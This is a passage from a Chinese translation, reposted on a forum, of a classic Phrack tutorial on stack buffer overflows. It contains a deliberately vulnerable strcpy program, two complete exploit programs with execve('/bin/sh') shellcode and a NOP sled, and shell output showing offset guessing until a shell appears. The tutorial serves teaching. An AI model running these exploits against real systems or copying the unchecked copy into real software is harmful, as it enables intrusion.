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缓冲区溢出的原理和实践(Phrack) |
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时间: 2006-11-10 来自：PConline论坛 |
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如上所示, 我们用buffer[]的地址来填充large_string[]数组, shellcode就将会在
buffer[]之中. 然后我们把shellcode复制到large_string字串的开头. strcpy()不做任
何边界检查就会将large_string复制到buffer中去, 并且覆盖返回地址. 现在的返回地址
就是我们shellcode的起始位置. 一旦执行到main函数的尾部, 在试图返回时就会跳到我
们的shellcode中, 得到一个shell.
我们所面临的问题是: 当试图使另外一个程序的缓冲区溢出的时候, 如何确定这个
缓冲区(会有我们的shellcode)的地址在哪? 答案是: 对于每一个程序, 堆栈的起始地址
都是相同的. 大多数程序不会一次向堆栈中压入成百上千字节的数据. 因此知道了堆栈
的开始地址, 我们可以试着猜出这个要使其溢出的缓冲区在哪. 下面的小程序会打印出
它的堆栈指针:
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------
假定我们要使其溢出的程序如下:
vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
我们创建一个程序可以接受两个参数, 一是缓冲区大小, 二是从其自身堆栈指针算起
的偏移量(这个堆栈指针指明了我们想要使其溢出的缓冲区所在的位置). 我们把溢出字符
串放到一个环境变量中, 这样就容易操作一些.
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
现在我们尝试猜测缓冲区的大小和偏移量:
------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
正如我们所看到的, 这并不是一个很有效率的过程. 即使知道了堆栈的起始地址, 尝
试猜测偏移量也几乎是不可能的. 我们很可能要试验几百次, 没准几千次也说不定. 问题
的关键在于我们必须*确切*地知道我们代码开始的地址. 如果偏差哪怕只有一个字节我们
也只能得到段错误或非法指令错误. 提高成功率的一种方法是在我们溢出缓冲区的前段填
充NOP指令. 几乎所有的处理器都有NOP指令执行空操作. 常用于延时目的. 我们利用它来
填充溢出缓冲区的前半段. 然后把shellcode放到中段, 之后是返回地址. 如果我们足够
幸运的话, 返回地址指到NOPs字串的任何位置, NOP指令就会执行, 直到碰到我们的
shellcode. 在Intel体系结构中NOP指令只有一个字节长, 翻译为机器码是0x90. 假定堆栈
的起始地址是0xFF, S代表shellcode, N代表NOP指令, 新的堆栈看起来是这样:
内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
堆栈顶端 堆栈底部
新的破解程序如下:
exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
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